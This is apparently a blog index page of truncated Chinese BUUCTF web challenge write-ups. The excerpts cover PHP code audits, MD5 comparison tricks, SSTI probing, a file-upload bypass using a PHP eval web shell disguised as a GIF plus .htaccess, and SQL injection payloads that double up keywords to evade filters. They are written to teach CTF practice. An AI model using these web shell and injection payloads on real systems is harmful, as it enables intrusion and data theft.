BUUCTF-Web-[MRCTF2020]Ez_bypass
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,要进行代码审计 12345678910111213141516171819202122232425262728293031323334353637include 'flag.php';$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg']) && isset($_GET['id'])) { $id = $_GET['id']; $gg = $_GET['gg']; // 检查 $id 和 $gg 的 MD5 散列值是否相等,并且它们的值不相等,强比较 if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first s...
BUUCCTF-Web-[ZJCTF 2019]NiZhuanSiWei1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现一段源码,需要进行代码审计了, 12345678910111213141516171819<?php $text = $_GET["text"]; //从GET请求中分别获取三个参数:text,file,password$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//检查file_get_contents($text,'r')是否返回字符串"welcome to the zjctf" echo "<br><h1>".file_get_contents($text,...
BUUCTF-Web-[护网杯 2018]easy_tornado
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现三个文件分别点开,发现三个提示,1.flag在/fllllllllllllag文件里2.题目与render函数有关3.根据URL访问文件的格式,推测访问/fllllllllllllag文件是的filehash=md5(cookie_secret+md5(/fllllllllllllag))我们需要找到cookie_secret尝试去掉filehash访问, 1/file?filename=/fllllllllllllag 返回报错页面,回想起提示render函数和tornado,尝试传入{{2*2}}推测存在SSTI模板注入漏洞 render函数render是Tornado框架中的一个核心方法,用于将动态数据渲染到HTML模板中。它通过传递参数生成不同的网页内容, 1self.render('template.html', variable=value) 会将variable的值嵌入到templ...
BUUCTF-Web-[MRCTF2020]你传你🐎呢
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现一个文件上传入口,结合题目,需要传一个木马上去,传一个测试文件上去,发现被过滤,文件类型限制吗?大部分文件上传漏洞可以传入图片文件,上传图片木马, 12GIF89<script language="php">@eval($_POST['cmd']); </script> 发现上传成功,现在需要将该png文件以php文件形式执行老办法,burp抓包修改后缀名为TEST.html,发现不行,其他php文件后缀名也被过滤了 .Htaccess绕过什么是.htaccess文件htaccess文件全称是超文本入口,提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户...
BUUCTF-Web-[BJDCTF2020]Easy MD5
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 MD5md5()是PHP中用于计算字符串MD5哈希值的函数。MD5是一种广泛使用的加密哈希函数,可生成128位(16字节)的哈希值,通常表示为32个十六进制数字。 1234567string md5 ( string $str , bool $raw_output = false )/*$str:要计算MD5哈希值的输入字符串$raw_output:可选参数,默认为false如果设置为true,则返回原始16字节二进制格式如果设置为false(默认),则返回32字符十六进制数/* 不可逆: 无法从哈希值反向计算出原始数据。易碰撞: 不同输入可能产生相同 MD5 值。 打开靶机,发现一个查询入口,随便输入点东西看看发现是GET传参password但是没有任何回显,试试特殊符号输入,查看源码也没有获得什么有用的信息,也没有任何回显,用burp抓包看看有没有其他信息,查看请求头发现hint字段,在ctf中hint通常代表提示, 1hint:select * from 'admin'...
BUUCTF-Web-[极客大挑战 2019]BuyFlag1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,观察到一个菜单栏目,查看源码也能发现有两个php文件点击菜单选项中PAYFLAG访问pay.php从页面获得提示:1.flag需要你100000000money(可能要传入money的相关参数)2.你必须是来自CUIT的学生3.你需要提交正确的password查看源码看看有没有其他提示,得到信息:1.用POST传参方式传入money和password2.传入的password参数不能是数字(is_numeric函数:检测是不是数字)3.password弱比较404password=404abc绕过弱比较抓包看看详细信息,注意到Cookie,推测判断学生身份通过user判断(0是false,1是正确),进行改包发现弹出新提示Nember lenth is too longmoney参数部分太长使用科学计数法进行绕过获得flag
BUUCTF-Web-[RoarCTF 2019]Easy Calc1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,是一个有简单计算功能的网站看看是不是注入点,被过滤了,查看源码,这里他提示建了WAF保障安全 1234567891011121314151617<script> $('#calc').submit(function(){ //当 ID 为 calc 的表单提交时,触发回调函数 $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), //使用GET方法向calc.php发送请求 type:'GET', success:function(data){ //成功是:在 ID 为 result 的元素中显示 ...
BUUCTF-Web-[ACTF2020 新生赛]BackupFile1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,提示让我们找找源文件,F12查看源码没有看到有用的信息,使用dirsearch扫描网站注意到index.php.bak文件通过URL下载 代码审计123456789101112131415161718<?phpinclude_once "flag.php"; //引入了包含flag变量的文件if(isset($_GET['key'])) { //验证是否GET传入key参数,如果有就赋值 $key = $_GET['key']; if(!is_numeric($key)) { //检查key是否为数字 exit("Just num!"); } $key = intval($key); //将key转换为整数 $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3&q...
BUUCTF-Web-[极客大挑战 2019]PHP1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现一只好玩的小猫,这里有一个明显的提示备份网站的良好习惯(”备份网站” 通常指网站开发者或管理员为防止数据丢失而创建的网站文件副本。这类备份文件可能包含敏感信息(如源码、数据库凭证),常成为渗透测试或CTF中的突破口。) 使用dirsearch扫描网站如果使用默认配置会出现429报错(在使用 Dirsearch 进行目录扫描时,如果一直返回 429 错误,这通常是因为请求频率过高)需要通过降低线程数和增加请求之间的延迟,可以减少服务器的负载,从而避免429错误(这是方法之一,扫描会很慢)常见备份文件名如 www.zip、website.bak、index.php.bak、.git 目录等。这里发现www.zip文件,通过URL下载 代码审计其中有一个flag.php文件,但并不是真正的flag看到index.php和class.php文件index.php:注意到36行 12345<?php include 'class.php'; $select = $_...
BUUCTF-Web-[极客大挑战 2019]BabySQL
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,看到熟悉的登录入口,老样子,看看是什么注入类型(在用户名位置写payload,密码随便写数字) 11' 报错:你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行’1”附近使用正确的语法 爆破字段数11' order by 3# 发现报错回显der 3#,与输入的payload相比缺少or,by字符推测or,by被过滤了,试一下双写绕过(例如bbyy中by字符被过滤后就会变成by字符) 11' oorrder bbyy 3# 正常回显 11' oorrder bbyy 4# 确定字段数(列数)为3 11' union select 1,2,3# 分析回显发现union和select也被过滤了 11' ununionion selselectect 1,2,3# 爆数据库名和版本名11' ununionion selselectect 1,database(),version()# 爆表名这...